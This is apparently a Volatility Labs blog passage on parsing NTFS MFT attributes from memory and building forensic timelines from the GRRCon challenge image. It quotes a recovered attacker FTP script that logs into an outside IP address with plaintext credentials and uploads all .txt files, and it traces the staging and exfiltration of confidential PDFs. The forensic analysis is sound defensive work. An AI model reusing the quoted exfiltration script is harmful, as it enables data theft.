If the attribute is Resident we have the following types (below). Members of interest include the ContentSize and the ContentOffset which are self-describing. We also have a union of our possible supported attributes:

  1 'RESIDENT_ATTRIBUTE': [0x16, {
  2     'Header': [0x0, ['ATTRIBUTE_HEADER']],
  3     'ContentSize': [0x10, ['unsigned int']], #relative to the beginning of the attribute
  4     'ContentOffset': [0x14, ['unsigned short']],
  5     'STDInfo': lambda x : obj.Object("STANDARD_INFORMATION", offset = x.obj_offset + x.ContentOffset, vm = x.obj_vm),
  6     'FileName': lambda x : obj.Object("FILE_NAME", offset = x.obj_offset + x.ContentOffset, vm = x.obj_vm),
  7     'ObjectID': lambda x : obj.Object("OBJECT_ID", offset = x.obj_offset + x.ContentOffset, vm = x.obj_vm),
  8     'AttributeList':lambda x : obj.Object("ATTRIBUTE_LIST", offset = x.obj_offset + x.ContentOffset, vm = x.obj_vm),
  9 }],
There are a lot of attribute types and not all of them are supported yet in the mftparser plugin. There are obvious reasons for this: lack of time, lack of research, usefulness, etc. However most of the attributes have defined vtypes so that the plugin can be extended. Here we will cover the attribute types that are currently supported.

$STANDARD_INFORMATION


This attribute exists for all files and directories [1] and contains important information including MAC times for the MFT entry in question. Other items that may be of interest include the OwnerID, SecurityID and Flags. The definition for STANDARD_INFORMATION can be seen below:

>>> dt("STANDARD_INFORMATION")
'STANDARD_INFORMATION' (72 bytes)
0x0   : CreationTime                   ['WinTimeStamp', {}]
0x8   : ModifiedTime                   ['WinTimeStamp', {}]
0x10  : MFTAlteredTime                 ['WinTimeStamp', {}]
0x18  : FileAccessedTime               ['WinTimeStamp', {}]
0x20  : Flags                          ['int']
0x24  : MaxVersionNumber               ['unsigned int']
0x28  : VersionNumber                  ['unsigned int']
0x2c  : ClassID                        ['unsigned int']
0x30  : OwnerID                        ['unsigned int']
0x34  : SecurityID                     ['unsigned int']
0x38  : QuotaCharged                   ['unsigned long long']
0x40  : USN                            ['unsigned long long']
0x48  : NextAttribute                  ['RESIDENT_ATTRIBUTE']
This attribute has a Type value of 0x10 in the ATTRIBUTE_HEADER and we can see a hexdump example below. The part highlighted in red denotes the ATTRIBUTE_HEADER and the part highlighted in blue denotes the RESIDENT_ATTRIBUTE. The rest of the dump is the content for the $STANDARD_INFORMATION attribute itself as defined above, except for the last line, which is the NextAttribute, in this case a $FILE_NAME attribute.

0207508: 1000 0000 6000 0000 0000 0000 0000 0000  ....`...........
0207518: 4800 0000 1800 0000 2dc5 d229 e6b7 ca01  H.......-..)....
0207528: 2dc5 d229 e6b7 ca01 2dc5 d229 e6b7 ca01  -..)....-..)....
0207538: 2dc5 d229 e6b7 ca01 2000 0000 0000 0000  -..).... .......
0207548: 0000 0000 0000 0000 0000 0000 7301 0000  ............s...
0207558: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0207568: 3000 0000 7800 0000 0000 0000 0000 0300  0...x...........

$FILE_NAME


Every MFT entry has at least one $FILE_NAME attribute [1]. This attribute contains important information such as the MAC times, the Name of the file, Flags (which are the same as the ones for $STANDARD_INFORMATION) and the ParentDirectory (which is used to determine the full path of the file). The definition for FILE_NAME can be seen below:

>>> dt("FILE_NAME")
'FILE_NAME' (None bytes)
0x0   : ParentDirectory                ['unsigned long long']
0x8   : CreationTime                   ['WinTimeStamp', {}]
0x10  : ModifiedTime                   ['WinTimeStamp', {}]
0x18  : MFTAlteredTime                 ['WinTimeStamp', {}]
0x20  : FileAccessedTime               ['WinTimeStamp', {}]
0x28  : AllocatedFileSize              ['unsigned long long']
0x30  : RealFileSize                   ['unsigned long long']
0x38  : Flags                          ['unsigned int']
0x3c  : ReparseValue                   ['unsigned int']
0x40  : NameLength                     ['unsigned char']
0x41  : Namespace                      ['unsigned char']
0x42  : Name                           ['NullString', {'length': <function <lambda> at 0x101d24e60>}]

This attribute has a Type value of 0x30 in the ATTRIBUTE_HEADER and an example can be seen below:

0207568: 3000 0000 7800 0000 0000 0000 0000 0300  0...x...........
0207578: 5a00 0000 1800 0100 532e 0000 0000 0100  Z.......S.......
0207588: 2dc5 d229 e6b7 ca01 2dc5 d229 e6b7 ca01  -..)....-..)....
0207598: 2dc5 d229 e6b7 ca01 2dc5 d229 e6b7 ca01  -..)....-..)....
02075a8: 0000 0000 0000 0000 0000 0000 0000 0000  ................
02075b8: 2000 0000 0000 0000 0c02 4d00 4100 5400   .........M.A.T.
02075c8: 4800 4600 4f00 7e00 3200 2e00 5000 5200  H.F.O.~.2...P.R.
02075d8: 4f00 3400 2e00 7000                      O.4...p.

$DATA


The $DATA attribute is structureless and can contain the data portion of the file, if Resident. There can be multiple $DATA attributes for an MFT entry, (for example, the "Summary" information file when you right-click on a file) [1]. When the file content exceeds the available space in the MFT entry (about 700 bytes [1]), the $DATA attribute becomes Non-Resident. It has been shown however, that file content "residue" can still linger in an MFT entry after the file content has grown outside maximum allocated size.

This attribute has an ATTRIBUTE_HEADER Type value of 0x80 and an example can be seen below:

026d598: 8000 0000 9001 0000 0000 1800 0000 0100  ................
026d5a8: 7401 0000 1800 0000 4749 4638 3961 1000  t.......GIF89a..
026d5b8: 1000 d537 005e 5d5d 3838 3833 3333 3535  ...7.^]]88833355
026d5c8: 3559 5858 5c5b 5b49 4848 4d4c 4c44 4444  5YXX\[[IHHMLLDDD
026d5d8: 3c3b 3c48 4848 3c3c 3b55 5555 5b5b 5b3c  <;<HHH<<;UUU[[[<
026d5e8: 3c3c b9b9 b95b 5b5a 7e7d 7db6 b6b6 5554  <<...[[Z~}}...UT
026d5f8: 54ab abab adad addc dcdc 5151 5144 4443  T.........QQQDDC
026d608: 3c3b 3bbe bdbd 4443 43bf bebe 3536 354d  <;;...DCC...565M
026d618: 4c4d b4b4 b456 5454 5958 5755 5554 4443  LM...VTTYXWUUTDC
026d628: 44df dfdf 5554 5551 5050 5150 5136 3535  D...UTUQPPQPQ655
026d638: 5655 55b8 b8b8 b8b8 b739 3839 3b3c 3b51  VUU......989;<;Q
026d648: 5150 5250 50ba b9b9 5c5a 5a3b 3b3c 3938  QPRPP...\ZZ;;<98
026d658: 385c 5a5b 5858 5856 5554 ffff ff00 0000  8\Z[XXXVUT......
026d668: 0000 0000 0000 0000 0000 0000 0000 0000  ................
026d678: 0000 0000 0021 f904 0100 0037 002c 0000  .....!.....7.,..
026d688: 0000 1000 1000 0006 91c0 9b70 482c 0e49  ...........pH,.I
026d698: 9408 60c9 8c50 4843 0e73 4ae5 dc34 0548  ..`..PHC.sJ..4.H
026d6a8: 8106 6914 6205 6fb8 a021 d408 8421 7a18  ..i.b.o..!...!z.
026d6b8: 22b4 19a0 89e8 36b9 9552 37c6 cdc6 1081  ".....6..R7.....
026d6c8: 1e27 1716 302f 4426 0f16 2e17 0f43 2a07  .'..0/D&.....C*.
026d6d8: 071e 908f 072b 4512 0606 0a0a 9899 9b12  .....+E.........
026d6e8: 431f 0808 1818 a21b 2323 1ba2 1f46 ad45  C.......##...F.E
026d6f8: 190b 0e0e b10b 0932 2d19 09ba 4233 012c  .......2-...B3.,
026d708: 01c0 c1c2 0142 0328 03c8 c903 1dcb c842  .....B.(.......B
026d718: 1502 d1d2 d3d1 15ae d741 003b 0000 0000  .........A.;....
026d728: ffff ffff

Other Types

There are vtype definitions for other MFT attributes that are outside the scope of this current blogpost, but can easily be expanded upon. Some of these items are:
  • $ATTRIBUTE_LIST
  • $OBJECT_ID
  • $REPARSE_POINT
  • $INDEX_ROOT
  • $INDEX_ALLOCATION
... and others.

Usage


There is information in the wiki about how to use mftparser, but it is relatively simple. Basic usage is:

$ python vol.py -f [sample] mftparser -C --output-file=output.txt
The -C option allows you to skip MFT entries that have null (zeroed out) timestamps which may help remove false positives. By default mftparser outputs in verbose mode, which includes Resident $DATA for files. This is useful for small files, such as attacker scripts. For example from the GRRCon Challenge writeup:

MFT entry found at offset 0x15938800
Attribute: In Use & File 
Record Number: 12030
Link count: 1


$STANDARD_INFORMATION
Creation                       Modified                       MFT Altered                    Access Date                    Type   
------------------------------ ------------------------------ ------------------------------ ------------------------------ ----
2012-04-28 02:01:43 UTC+0000 2012-04-28 02:01:43 UTC+0000   2012-04-28 02:01:43 UTC+0000   2012-04-28 02:01:43 UTC+0000   Archive

$FILE_NAME
Creation                       Modified                       MFT Altered                    Access Date                    Name/Path
------------------------------ ------------------------------ ------------------------------ ------------------------------ ---------
2012-04-28 02:01:43 UTC+0000 2012-04-28 02:01:43 UTC+0000   2012-04-28 02:01:43 UTC+0000   2012-04-28 02:01:43 UTC+0000   WINDOWS\system32\systems\f.txt

$DATA
0000000000: 6f 70 65 6e 20 36 36 2e 33 32 2e 31 31 39 2e 33   open.66.32.119.3
0000000010: 38 0d 0a 6a 61 63 6b 0d 0a 32 61 77 65 73 30 6d   8..jack..2awes0m
0000000020: 65 0d 0a 6c 63 64 20 63 3a 5c 57 49 4e 44 4f 57   e..lcd.c:\WINDOW
0000000030: 53 5c 53 79 73 74 65 6d 33 32 5c 73 79 73 74 65   S\System32\syste
0000000040: 6d 73 0d 0a 63 64 20 20 2f 68 6f 6d 65 2f 6a 61   ms..cd../home/ja
0000000050: 63 6b 0d 0a 62 69 6e 61 72 79 0d 0a 6d 70 75 74   ck..binary..mput
0000000060: 20 22 2a 2e 74 78 74 22 0d 0a 64 69 73 63 6f 6e   ."*.txt"..discon
0000000070: 6e 65 63 74 0d 0a 62 79 65 0d 0a                  nect..bye..

***************************************************************************
In the above output we have a lot of information about the attacker script such as:
1) Timestamps which show when the file was created on the system as well as when it was last modified and accessed.
2) The path to the attacker's script.
3) The actual contents of the script!

We can now easily recover the script using xxd after copying the hex data into a file called "f.raw":

$ cat f.raw 
0000000000: 6f 70 65 6e 20 36 36 2e 33 32 2e 31 31 39 2e 33   open.66.32.119.3
0000000010: 38 0d 0a 6a 61 63 6b 0d 0a 32 61 77 65 73 30 6d   8..jack..2awes0m
0000000020: 65 0d 0a 6c 63 64 20 63 3a 5c 57 49 4e 44 4f 57   e..lcd.c:\WINDOW
0000000030: 53 5c 53 79 73 74 65 6d 33 32 5c 73 79 73 74 65   S\System32\syste
0000000040: 6d 73 0d 0a 63 64 20 20 2f 68 6f 6d 65 2f 6a 61   ms..cd../home/ja
0000000050: 63 6b 0d 0a 62 69 6e 61 72 79 0d 0a 6d 70 75 74   ck..binary..mput
0000000060: 20 22 2a 2e 74 78 74 22 0d 0a 64 69 73 63 6f 6e   ."*.txt"..discon
0000000070: 6e 65 63 74 0d 0a 62 79 65 0d 0a                  nect..bye..

$ xxd -r f.raw 
open 66.32.119.38
jack
2awes0me
lcd c:\WINDOWS\System32\systems
cd  /home/jack
binary
mput "*.txt"
disconnect
bye
Another usage option we have for mftparser is to obtain output in bodyfile format (3.x) for timelining, as demonstrated in MoVP 2.3. This just requires one more option (--output=body):

$ python vol.py -f [sample] mftparser --output=body -C --output-file=mftbodyfile.txt
Then we can take that output and create a timeline using the Sleuthkit mactime utility:

$ mactime -b mftbodyfile.txt -d > mactime.txt

Conclusion

As we can see there is value in analyzing MFT entries from memory. Such analysis provides more insight into files that were in use, created or executed on a machine, it is useful for use in timelining and can be used for acquiring small files, such as attacker scripts, from memory in a relatively efficient manner.

References

[1] File System Forensic Analysis, Brian Carrier ISBN: 0321268172

Thursday, May 23, 2013

MoVP II - 2.3 - Creating Timelines with Volatility

A common computer forensic investigative methodology is creating timelines.  Timelines help establish events that took place on the machine prior to investigation.  There are various artifacts in Windows memory that can be used to construct a timeline.  This blogpost will cover timeline creation and usage.

Creating a Timeline

The following plugins have the ability to output in Sleuthkit bodyfile format:
The output of these plugins can be combined in order to create a timeline of memory artifacts.  Two of these plugins (mftparser and shellbags) are more specific in their output and only include artifacts that are described by their names.  The third plugin, timeliner, includes various artifacts such as:
In order to create a timeline using all of the above plugins, use the following commands:

$ ./vol.py --plugins=contrib/plugins -f [sample] timeliner --output=body --output-file=timeliner.txt -R
$ ./vol.py -f [sample] mftparser -C --output=body --output-file=mft.txt
$ ./vol.py -f [sample] shellbags --output=body --output-file=shellbags.txt

Then you can put it all together:

$ cat timeliner.txt mft.txt shellbags.txt >> bodyfile.txt
$ mactime -b bodyfile.txt -d > mactime.txt

Analyzing an Example Timeline

We'll look at a generated timeline from a sample that was obtained from the Forensic Challenge for the GRRCon conference (http://t.co/m0JCvrnV) by Jack Crook (twitter: @jackcr website: http://www.handlerdiaries.com/). 


There is also a previous writeup on our blog: http://volatility-labs.blogspot.com/2012/10/solving-grrcon-network-forensics.html by MHL and Andrew.

We are able to find the exploit file from the timeline:

$ grep -i ".pf" grrcon_mft |egrep -i '(doc|ppt|xls|pdf)' | grep -i exe
(FN) 0x14c42000|[MFT FILE_NAME] WINDOWS\Prefetch\SWING-MECHANICS.DOC[1].EXE-013CEA10.pf|12024|---a-------I---|0|0|512|1335578362|1335578362|1335578362|1335578362

Now we can search for events near when the exploit happened:

$ mactime -b grrcon_body.txt –d | less –I

To search in the document type:

/swing

Now we should see:

Fri Apr 27 2012 21:59:22,512,macb,---a-------I---,0,0,12024,[MFT FILE_NAME] WINDOWS\Prefetch\SWING-MECHANICS.DOC[1].EXE-013CEA10.pf
Fri Apr 27 2012 21:59:22,512,macb,---a-------I---,0,0,12024,[MFT FILE_NAME] WINDOWS\Prefetch\SWING-~1.PF
Fri Apr 27 2012 21:59:22,512,macb,---a-------I---,0,0,12024,[MFT STD_INFO] WINDOWS\Prefetch\SWING-~1.PF
Fri Apr 27 2012 21:59:22,352,macb,---a-----------,0,0,12026,[MFT FILE_NAME] WINDOWS\system32\svchosts.exe
Fri Apr 27 2012 21:59:22,352,m..b,---a-----------,0,0,12026,[MFT STD_INFO] WINDOWS\system32\svchosts.exe
Fri Apr 27 2012 21:59:22,344,.a..,---a-----------,0,0,23251,[MFT STD_INFO] WINDOWS\system32\msvfw32.dll
Fri Apr 27 2012 21:59:22,352,.a..,---a-----------,0,0,479,[MFT STD_INFO] WINDOWS\system32\avicap32.dll

Scrolling down we see someone trying to figure out the network:

Fri Apr 27 2012 21:59:49,488,mac.,---a-------I---,0,0,11854,[MFT STD_INFO] WINDOWS\Prefetch\IPCONF~1.PF
Fri Apr 27 2012 21:59:49,360,.a..,---a-----------,0,0,23434,[MFT STD_INFO] WINDOWS\system32\ipconfig.exe
Fri Apr 27 2012 21:59:56,472,macb,---a-------I---,0,0,12018,[MFT FILE_NAME] WINDOWS\Prefetch\NET.EXE-01A53C2F.pf
Fri Apr 27 2012 21:59:56,472,macb,---a-------I---,0,0,12018,[MFT FILE_NAME] WINDOWS\Prefetch\NETEXE~1.PF
Fri Apr 27 2012 21:59:56,472,macb,---a-------I---,0,0,12018,[MFT STD_INFO] WINDOWS\Prefetch\NETEXE~1.PF
Fri Apr 27 2012 21:59:56,344,.a..,---a-----------,0,0,23222,[MFT STD_INFO] WINDOWS\system32\net.exe
Fri Apr 27 2012 22:00:06,344,.a..,---a-----------,0,0,23131,[MFT STD_INFO] WINDOWS\system32\ping.exe

And a bit below that we see the creation of a folder called “systems” and then some new files:

Fri Apr 27 2012 22:01:03,472,macb,-------------D-,0,0,12029,[MFT FILE_NAME] WINDOWS\system32\systems
Fri Apr 27 2012 22:01:03,472,...b,---------------,0,0,12029,[MFT STD_INFO] WINDOWS\system32\systems
Fri Apr 27 2012 22:01:03,832,m.c.,---------------,0,0,29,[MFT STD_INFO] WINDOWS\system32
Fri Apr 27 2012 22:01:07,832,.a..,---------------,0,0,29,[MFT STD_INFO] WINDOWS\system32
Fri Apr 27 2012 22:01:43,416,macb,---a-----------,0,0,12030,[MFT FILE_NAME] WINDOWS\system32\systems\f.txt
Fri Apr 27 2012 22:01:43,416,macb,---a-----------,0,0,12030,[MFT STD_INFO] WINDOWS\system32\systems\f.txt
Fri Apr 27 2012 22:01:54,368,macb,---a-----------,0,0,12031,[MFT FILE_NAME] WINDOWS\system32\systems\g.exe
Fri Apr 27 2012 22:01:54,368,m.cb,---a-----------,0,0,12031,[MFT STD_INFO] WINDOWS\system32\systems\g.exe
Fri Apr 27 2012 22:02:05,368,macb,---a-----------,0,0,12032,[MFT FILE_NAME] WINDOWS\system32\systems\p.exe
Fri Apr 27 2012 22:02:05,368,...b,---a-----------,0,0,12032,[MFT STD_INFO] WINDOWS\system32\systems\p.exe
Fri Apr 27 2012 22:02:06,368,m...,---a-----------,0,0,12032,[MFT STD_INFO] WINDOWS\system32\systems\p.exe
Fri Apr 27 2012 22:02:17,368,macb,---a-----------,0,0,12033,[MFT FILE_NAME] WINDOWS\system32\systems\r.exe
Fri Apr 27 2012 22:02:17,368,m.cb,---a-----------,0,0,12033,[MFT STD_INFO] WINDOWS\system32\systems\r.exe

We can use this to `grep` for files in the “systems” folder:

$ grep -i systems grrcon_body.txt | grep -i exe | awk '{print $4}'
WINDOWS\system32\systems\w.exe|11978|---a-----------|0|0|360|1335578558|1335578558|1335578558|1335578558
WINDOWS\system32\systems\w.exe|11978|---a-----------|0|0|360|1335578559|1335578559|1335578559|1335578558
WINDOWS\system32\systems\g.exe|12031|---a-----------|0|0|368|1335578514|1335578514|1335578514|1335578514
WINDOWS\system32\systems\g.exe|12031|---a-----------|0|0|368|1335579014|1335578514|1335578514|1335578514
WINDOWS\system32\systems\p.exe|12032|---a-----------|0|0|368|1335578525|1335578525|1335578525|1335578525
WINDOWS\system32\systems\p.exe|12032|---a-----------|0|0|368|1335579196|1335578526|1335578698|1335578525
WINDOWS\system32\systems\r.exe|12033|---a-----------|0|0|368|1335578537|1335578537|1335578537|1335578537
WINDOWS\system32\systems\r.exe|12033|---a-----------|0|0|368|1335578939|1335578537|1335578537|1335578537
WINDOWS\system32\systems\sysmon.exe|12034|---a-----------|0|0|344|1335578546|1335578546|1335578546|1335578546
WINDOWS\system32\systems\sysmon.exe|12034|---a-----------|0|0|344|1335579140|1335578547|1335578547|1335578546
[snip]


We have prefetch files that show that some of these executables ran and we know what time they ran from the timestamps associated with them:

Fri Apr 27 2012 22:03:03      472 macb ---a-------I--- 0        0        12035    [MFT FILE_NAME] WINDOWS\Prefetch\W.EXE-0A1E603F.pf
                              472 macb ---a-------I--- 0        0        12035    [MFT FILE_NAME] WINDOWS\Prefetch\WEXE-0~1.PF
                              472 ...b ---a-------I--- 0        0        12035    [MFT STD_INFO] WINDOWS\Prefetch\WEXE-0~1.PF
Fri Apr 27 2012 22:03:28      472 macb ---a-------I--- 0        0        12036    [MFT FILE_NAME] WINDOWS\Prefetch\G.EXE-24E91AA8.pf
                              472 macb ---a-------I--- 0        0        12036    [MFT FILE_NAME] WINDOWS\Prefetch\GEXE-2~1.PF
                              472 macb ---a-------I--- 0        0        12036    [MFT STD_INFO] WINDOWS\Prefetch\GEXE-2~1.PF
Fri Apr 27 2012 22:04:18      472 mac. ---a-------I--- 0        0        12035    [MFT STD_INFO] WINDOWS\Prefetch\WEXE-0~1.PF
Fri Apr 27 2012 22:05:03      472 macb ---a-------I--- 0        0        12040    [MFT FILE_NAME] WINDOWS\Prefetch\P.EXE-04500029.pf
                              472 macb ---a-------I--- 0        0        12040    [MFT FILE_NAME] WINDOWS\Prefetch\PEXE-0~1.PF
                              472 ...b ---a-------I--- 0        0        12040    [MFT STD_INFO] WINDOWS\Prefetch\PEXE-0~1.PF
Fri Apr 27 2012 22:08:46      608 mac. rh------------- 0        0        10850    [snip]
[MFT FILE_NAME] WINDOWS\Prefetch\R.EXE-19834F9B.pf
                              472 macb ---a-------I--- 0        0        12049    [MFT FILE_NAME] WINDOWS\Prefetch\REXE-1~1.PF
                              472 macb ---a-------I--- 0        0        12049    [MFT STD_INFO] WINDOWS\Prefetch\REXE-1~1.PF
Fri Apr 27 2012 22:09:01      472 mac. ---a-------I--- 0        0        12049    [MFT STD_INFO] WINDOWS\Prefetch\REXE-1~1.PF
[snip]

We can also prove that these executables ran by examining the prefetch hash.  You can use a python script I wrote a while back for this:

$ python prefetch_hash.py -x -p "\device\harddiskvolume1\WINDOWS\system32\systems\r.exe"
R.EXE-19834F9B.pf
$ python prefetch_hash.py -x -p "\device\harddiskvolume1\WINDOWS\system32\systems\p.exe"
P.EXE-4500029.pf
$ python prefetch_hash.py -x -p "\device\harddiskvolume1\WINDOWS\system32\systems\w.exe"
W.EXE-A1E603F.pf
$ python prefetch_hash.py -x -p "\device\harddiskvolume1\WINDOWS\system32\systems\g.exe"
G.EXE-24E91AA8.pf

We can see staging taking place here along with documents:

Fri Apr 27 2012 22:07:10,456,macb,-------------D-,0,0,12041,[MFT FILE_NAME] WINDOWS\system32\systems\1
Fri Apr 27 2012 22:07:10,456,...b,---------------,0,0,12041,[MFT STD_INFO] WINDOWS\system32\systems\1
Fri Apr 27 2012 22:07:38,432,macb,---a-----------,0,0,12044,[MFT FILE_NAME] WINDOWS\system32\systems\1\CONFID~3.PDF
Fri Apr 27 2012 22:07:38,432,macb,---a-----------,0,0,12044,[MFT FILE_NAME] WINDOWS\system32\systems\1\confidential3.pdf
Fri Apr 27 2012 22:07:38,432,macb,---a-----------,0,0,12044,[MFT STD_INFO] WINDOWS\system32\systems\1\CONFID~3.PDF
Fri Apr 27 2012 22:07:44,432,macb,---a-----------,0,0,12045,[MFT FILE_NAME] WINDOWS\system32\systems\1\CONFID~4.PDF
Fri Apr 27 2012 22:07:44,432,macb,---a-----------,0,0,12045,[MFT FILE_NAME] WINDOWS\system32\systems\1\confidential4.pdf
Fri Apr 27 2012 22:07:44,432,macb,---a-----------,0,0,12045,[MFT STD_INFO] WINDOWS\system32\systems\1\CONFID~4.PDF
Fri Apr 27 2012 22:07:48,432,macb,---a-----------,0,0,12046,[MFT FILE_NAME] WINDOWS\system32\systems\1\CO20EF~1.PDFFri Apr 27 2012 22:07:48,432,macb,---a-----------,0,0,12046,[MFT FILE_NAME] WINDOWS\system32\systems\1\confidential5.pdf
Fri Apr 27 2012 22:07:48,432,macb,---a-----------,0,0,12046,[MFT STD_INFO] WINDOWS\system32\systems\1\CO20EF~1.PDF

We’ll consider the exfiltration complete at the end of a file transfer- in this case it is an ftp connection:

Fri Apr 27 2012 22:10:14,0,macb,---------------,0,0,-1,[SOCKET] PID:4 172.16.150.20:1365 6(TCP) offset: 0x0x82228518
Fri Apr 27 2012 22:10:14,368,.a..,---a-----------,0,0,12031,[MFT STD_INFO] WINDOWS\system32\systems\g.exe
Fri Apr 27 2012 22:11:03,344,.a..,---a-----------,0,0,1818,[MFT STD_INFO] WINDOWS\system32\drivers\etc\services
Fri Apr 27 2012 22:11:03,344,.a..,---a-----------,0,0,22706,[MFT STD_INFO] WINDOWS\system32\ftp.exe
Fri Apr 27 2012 22:11:13,472,macb,---a-------I---,0,0,12052,[MFT FILE_NAME] WINDOWS\Prefetch\FTP.EXE-0FFFB5A3.pf
Fri Apr 27 2012 22:11:13,472,macb,---a-------I---,0,0,12052,[MFT FILE_NAME] WINDOWS\Prefetch\FTPEXE~1.PF
Fri Apr 27 2012 22:11:13,472,macb,---a-------I---,0,0,12052,[MFT STD_INFO] WINDOWS\Prefetch\FTPEXE~1.PF

The following documents in red were exfiltrated:

Fri Apr 27 2012 22:07:38      432 macb ---a----------- 0        0        12044    [MFT FILE_NAME] WINDOWS\system32\systems\1\CONFID~3.PDF
                              432 macb ---a----------- 0        0        12044    [MFT FILE_NAME] WINDOWS\system32\systems\1\confidential3.pdf
                              432 macb ---a----------- 0        0        12044    [MFT STD_INFO] WINDOWS\system32\systems\1\CONFID~3.PDF
Fri Apr 27 2012 22:07:44      432 macb ---a----------- 0        0        12045    [MFT FILE_NAME] WINDOWS\system32\systems\1\CONFID~4.PDF
                              432 macb ---a----------- 0        0        12045    [MFT FILE_NAME] WINDOWS\system32\systems\1\confidential4.pdf
                              432 macb ---a----------- 0        0        12045    [MFT STD_INFO] WINDOWS\system32\systems\1\CONFID~4.PDF
Fri Apr 27 2012 22:07:48      432 macb ---a----------- 0        0        12046    [MFT FILE_NAME] WINDOWS\system32\systems\1\CO20EF~1.PDF
                              432 macb ---a----------- 0        0        12046    [MFT FILE_NAME] WINDOWS\system32\systems\1\confidential5.pdf
                              432 macb ---a----------- 0        0        12046    [MFT STD_INFO] WINDOWS\system32\systems\1\CO20EF~1.PDF

It may be a little difficult to tell just from the timeline, but it looks like these files may have been compressed using RAR and ftp’d out:

Fri Apr 27 2012 22:07:44      [snip]
                              432 macb ---a----------- 0        0        12046    [MFT FILE_NAME] WINDOWS\system32\systems\1\confidential5.pdf
                              432 macb ---a----------- 0        0        12046    [MFT STD_INFO] WINDOWS\system32\systems\1\CO20EF~1.PDF
Fri Apr 27 2012 22:08:46      608 mac. rh------------- 0        0        10850    [MFT STD_INFO] Documents and Settings\binge\APPLIC~1
                              344 macb -------------D- 0        0        12048    [MFT FILE_NAME] Documents and Settings\binge\Application Data\WinRAR
                              344 m.cb --------------- 0        0        12048    [MFT STD_INFO] Documents and Settings\binge\Application Data\WinRAR
                              472 macb ---a-------I--- 0        0        12049    [MFT FILE_NAME] WINDOWS\Prefetch\R.EXE-19834F9B.pf
                              472 macb ---a-------I--- 0        0        12049    [MFT FILE_NAME] WINDOWS\Prefetch\REXE-1~1.PF
                              472 macb ---a-------I--- 0        0        12049    [MFT STD_INFO] WINDOWS\Prefetch\REXE-1~1.PF
Fri Apr 27 2012 22:08:59      360 .a.. -hsa----------- 0        0        10905    [MFT STD_INFO] Documents and Settings\binge\Application Data\desktop.ini
                              368 .a.. ---a----------- 0        0        12033    [MFT STD_INFO] WINDOWS\system32\systems\r.exe

                              344 .a.. --------------- 0        0        12048    [MFT STD_INFO] Documents and Settings\binge\Application Data\WinRAR
Fri Apr 27 2012 22:09:01      472 mac. ---a-------I--- 0        0        12049    [MFT STD_INFO] WINDOWS\Prefetch\REXE-1~1.PF
Fri Apr 27 2012 22:10:14        0 macb --------------- 0        0        -1       [SOCKET] PID:4 172.16.150.20:1365 6(TCP) offset: 0x0x82228518
                              368 .a.. ---a----------- 0        0        12031    [MFT STD_INFO] WINDOWS\system32\systems\g.exe
Fri Apr 27 2012 22:11:03      344 .a.. ---a----------- 0        0        1818     [MFT STD_INFO] WINDOWS\system32\drivers\etc\services
                              344 .a.. ---a----------- 0        0        22706    [MFT STD_INFO] WINDOWS\system32\ftp.exe
Fri Apr 27 2012 22:11:13      472 macb ---a-------I--- 0        0        12052    [MFT FILE_NAME] WINDOWS\Prefetch\FTP.EXE-0FFFB5A3.pf
                              472 macb ---a-------I--- 0        0        12052    [MFT FILE_NAME] WINDOWS\Prefetch\FTPEXE~1.PF
                              472 macb ---a-------I--- 0        0        12052    [MFT STD_INFO] WINDOWS\Prefetch\FTPEXE~1.PF

Conclusion

As we can see there is value in creating timelines from memory artifacts.  In this case we can see when the attacker first got on the machine, when they ran various tools, when they took things from the machine and what they took.  We hope you enjoyed this post and that you will find the timelining capability useful in your investigations!  If you have any questions, please feel free to reach out to me by email or by twitter (@gleeda)